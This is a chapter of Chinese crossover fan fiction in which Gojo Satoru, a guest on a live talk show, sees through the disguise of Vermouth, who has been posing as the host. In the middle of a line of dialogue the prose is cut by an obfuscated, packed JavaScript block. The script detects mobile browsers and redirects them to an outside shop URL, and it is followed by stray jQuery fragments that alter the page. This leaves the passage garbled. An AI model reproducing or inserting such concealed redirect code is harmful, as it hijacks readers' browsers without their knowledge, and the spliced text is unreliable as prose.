26.第 26 章

作品:《高专教师组在柯学C位出道

    因为《咒术师》的爆火,不少节目组对两人发出邀请,在中尾穗的建议下他们选择了一档名叫《土御门的周末》的节目。


    这档节目的主持人叫做土御门结野,是一名地地道道的阴阳师世家的小姐,只不过世风日下,人心不古,土御门的名头还不如一顿饭值钱,再加上这年头抢生意的人这么多。


    大小姐也得讨饭吃,高考的时候毅然决然的报考了东京艺术大学的播音主持专业。


    之后在电视台摸爬滚打多年,趁着这些年神秘侧的涌动,最终凭借着阴阳师的身份成功PK掉其他竞争对手,拿下来这档节目。


    中尾穗也正是看中了这一点。主持人与嘉宾分别是传统的阴阳师与新兴的咒术师,新老势力对决,光是听着就已经有了足够的话题感。


    节目在晚上八点准时开始,与其他节目不同,这档节目采用的是直播模式,也就是说非常挑战主持人与嘉宾的临场反应能力。


    土御门结野是一位身材高挑的女性,比起石坂栗的温柔优雅,土御门更加的冷艳迷人。


    她的面孔仿佛是从一块寒玉雕刻出,美带有侵略性。鸦羽般的瞳孔眼波流转,似深潭中幽光划过,红唇是点睛之笔,是雪地中一抹血痕,触目惊心。


    也许是为了节目效果,土御门今天穿的是狩衣,手持一把蝙蝠扇,乌黑浓密的长发用白檀纸包裹束在脑后,再用水引绳将之扎紧,高岭之花不若如此。


    而作为今天的嘉宾,代表咒术师出场的五条悟同样选择了他的制服,黑色立领的制服将他严严实实的包裹住,黑色的眼罩遮住他的大半张脸,满满的神秘与禁欲,让人想扒开他的衣服一探究竟。


    土御门结野的主持风格以大胆、敢说、敢问闻名,辛辣的问题、刻薄的猜想、毫无顾忌的嘲讽,登上她的节目意味着不扒层皮下来别想离开。


    今天也是如此。


    节目刚开始,她便迫不及待的问了五条悟一个问题,她说:“据说咒术师是阴阳师的分□□我们应该是爸爸与儿子的关系喽?”


    的确是一个很冒昧的问题,而且是一个五条悟绕不过去的问题。


    只见五条悟往后一靠,右手撑着下巴带着笑意的看着土御门结野,“如果是你这么一个不可爱的女儿我的确很头疼呢。”


    话音刚落,土御门结野肉眼可见的僵了一下,场内的欢呼与掌声如海浪般袭来,他们喜欢看这样针锋相对的场景。


    “哈哈哈,五条先生真爱开玩笑。”土御门故作镇定的笑了笑,“但是我也是真的很好奇,咒术师的起源到底是什么?”


    五条悟透过黑色的眼罩注视那个女人,嘴角勾起一抹微笑,换了一个舒服的姿势为土御门结野介绍起咒术师的历史。


    不知道是不是发现五条悟不像其他嘉宾那么好欺负,在场的观众以及电视台前的观众觉得土御门结野今天的节目特别的枯燥无趣。


    [我是来看阴阳师与咒术师打架的,不是来看相亲相爱玄学大家庭的。]


    [土御门怎么回事,怎么一直围着这些无所谓的事情打转,什么咒力,咒灵,问这么干什么?]


    [她不会真的以为世界上有这些东西?今天的内容跑偏太多了吧。]


    [对啊,导演呢?不提醒一下土御门小姐吗?]


    [笨蛋。土御门可是阴阳师世家出身,她肯定是站世界上有咒灵这一说啊,不然她的立身之本可就断了。]


    [这么说也是。]


    [我不想知道世界上有没有咒灵!我是来看人吵架的,不是来听神棍忽悠的!]


    [电视台最近是怎么回事,这种东西也是能明目张胆的直播了。]


    五条悟嘴角的笑意越来越大,他伸出手兴致勃勃的给土御门结野介绍一些咒术,比如简易结界,比如缠,比如黑闪等等。


    土御门结野则是聚精会神的听着五条悟的介绍,并且时不时询问一些她不理解的小问题,她似乎忘记了这是一档现场直播的综艺,不是她的私人讲堂,她是一名该掌握主场、把控节奏的主持人而不是一名什么都不懂的学生。


    “五条先生一名咒术师要如何知道自己的术式是什么呢?”土御门结野问道。在不知不觉中她已经坐到了五条悟的身旁,高挑冷艳,明媚动人的女子与轮廓分明,丰神俊逸的男子坐在一起,仿佛一副美丽的画卷,光是看着便已经心满意足。


    土御门结野的表情依然是淡淡的,似乎什么都不放在心上,可是眼中有着她自己都没有注意到的紧张,红色的指甲不知不觉间将掌心压出几道红痕。


    五条悟闻言眉头微挑,侧过脸注视着土御门结野,脸上快速闪过一丝惊讶,密切关注他的土御门结野自然也发现了这一点,她心中瞬间慌了神,脸上依然保持了冷静的模样,但是飘忽的眼球却暴露了她的心里。


    【怎么回事?五条悟为什么会惊讶?我的问题有什么不对吗?】


    【还是说身为阴阳师的我应该知道这一点?】


    “得知自身术式的方法大体分为两种,一种是天生知晓,一种是后天学习。”五条悟很快便收敛了自己的情绪,再次为大众科普起有关咒术的知识。


    今天这场参访中尾穗提前给他打过预防针,正常来说会围绕他个人的经历展开和拍摄过程展开,甚至会涉及到怪盗基德,对于咒术这方面的内容应该只会涉及一点,毕竟这个不好在明面上大肆宣传。


    只不过到目前为止,这个所谓的主持人却一直在围绕着咒术找话题,就好像她的目的不是这档节目,而是作为一个刚入学的新生询问教师基础知识。


    五条悟看着眼前的阴阳师,视线扫到台下无动于衷的导演,发出了一声短笑。


    “说起来五条先生,我想代表广大观众想问你一个问题。”这时土御门结野突然开口,“你与夏油先生可谓是横空出世,为什么之前没有听说过咒术师这个职业呢?”


    “你与夏油先生的出世有什么目的呢?”


    她的眼睛中掠过一丝抗拒,似乎不愿意问这种无聊的问题。


    五条悟一听这个问题,立马换了姿势,摆出一副深沉的样子,语气沉重的说:“为了拯救世界。”


    土御门结野一下子被整不会了,她捏了捏耳朵,黑色的眼睛看向一边,淡然的笑了笑,“五条先生真爱开玩笑。”与此同时,眼底闪过一丝对幼稚鬼的嫌弃。


    接下来的时间里,五条悟和土御门双方合作愉快,中规中矩的完成了节目。


    “今天真是谢谢五条先生了。”一道门之隔,土御门结野站在门内伸出手,门外灯火通明,门内灯色晦暗。


    五条悟单手插兜,俯视今天的临时学生,慢慢的伸出手与她相握,骨相分明的大手将土御门结野的手覆盖,炽热的温度似乎要将她的手灼烧,五条悟拉长声音,充满磁性的嗓音在这一刻响起,“看在今天我这么配合你的情况下,这位小姐可不可以告诉我你是谁呢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333603|194819||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?”


    宛如雷霆轰鸣般的声音在土御门结野的心头炸开,她的身体被五条悟高大的身躯遮挡,整个人都被他压在影子下方。


    【他是什么意思?我露馅了?怎么可能?】


    【还是说他在诈我?】


    土御门结野抬起头,寒气逼人,声音像是从寒冰中传出般刺骨,“五条先生这是什么意思?”


    她赌五条悟是在诈她。


    “既然你对咒术这么好奇,并且这么有针对性的问我问题,说明应该对咒术了解一些的,那么你知道吗?”五条悟指着自己的眼睛笑着说:“我的眼睛很特殊。”


    土御门结野静静地看着五条悟的眼罩,似乎想透过黑色的结界看见他那双特殊的的眼睛。


    五条悟潇洒从容的站在光亮处,淡定的接受着她的凝视。


    也许是十分钟,也有可能是十秒钟,女人动了,她爽快的掀开面具,一张充满了攻击性的脸出现在五条悟面前。


    海藻般的卷发,魅魔般迷人的眼睛,她身体前倾,修长的手指轻轻触摸五条悟的胸口,诱惑人心的声音从她口中吐出,“初次见面,我是贝尔摩德。我可以知道我是哪里出了破绽吗?”


    如果是因为技术的原因,她下次一定改进。


    五条悟像是根本没有看到眼前这个妩媚动人的女人,就像是贝尔摩德没有换脸一样,他的表情没有任何波动,还是节目上那副优秀教师的样子好心的为她解释:“普通人与咒术师是不同的。”


    只这一句话便让贝尔摩德冷了脸,冷笑着重复了一句,“呵,咒术师。”


    “也就是说,在你眼里我是一名咒术师是吗?”贝尔摩德靠着门扉,淡淡的问道。


    “说实话,还是挺明显的。”五条悟毫不客气的说,应该说他一开始就发现不对劲了。


    五条悟看见贝尔摩德第一眼的时候便觉察出这个所谓的“阴阳师”实际上是一名拥有咒力的咒术师,比起石坂栗身上那微不可查,几乎与普通人没什么区别的咒力,贝尔摩德身上的咒力非常明显。


    只不过五条悟一开始并没有发现土御门结野换了一个人,他只是以为土御门是一名自以为阴阳师的咒术师,但是一名正常的主持人是不会围绕着咒力、咒灵纠结不清的,也不会问一些只有深刻了解后才会问的问题。


    而真正让五条悟确定眼前这个人不是土御门的原因是贝尔摩德问的那句如何确定自己的术式,这时他才真正的将贝尔摩德放进眼中,从脑子里调出属于她的术式,毕竟在不战斗的时候他也不愿意往脑子里塞一些乱七八糟的东西。


    然后就确定了眼前这个人不可能是土御门结野,毕竟,一个不过30岁的女人身上怎么会有近百年的历史呢?


    “呵,那么五条先生叫住我是想做什么呢?”她眼球转动,撩了一把卷发,冲五条悟wink一下,抚摸着自己的腰线,“要做一些让我们快乐的事情吗?”


    五条悟闻言点了点头,“没错,让我们做一些让我快乐的事吧。”


    说着拉住贝尔摩德悄悄摸向后腰的手。


    【!!!】


    然后在贝尔摩德的反抗中,拉着她的腿,将人倒着拽起,露出灿烂的笑容,“比如聊一聊,你是怎么成为咒术师的?有没有见过一个额头有疤的男人怎么样?”


    听到这番话,贝尔摩德瞬间想到了她假扮土御门结野的目的,忍不住的咒骂,【该死的獭祭居然敢暗算我!】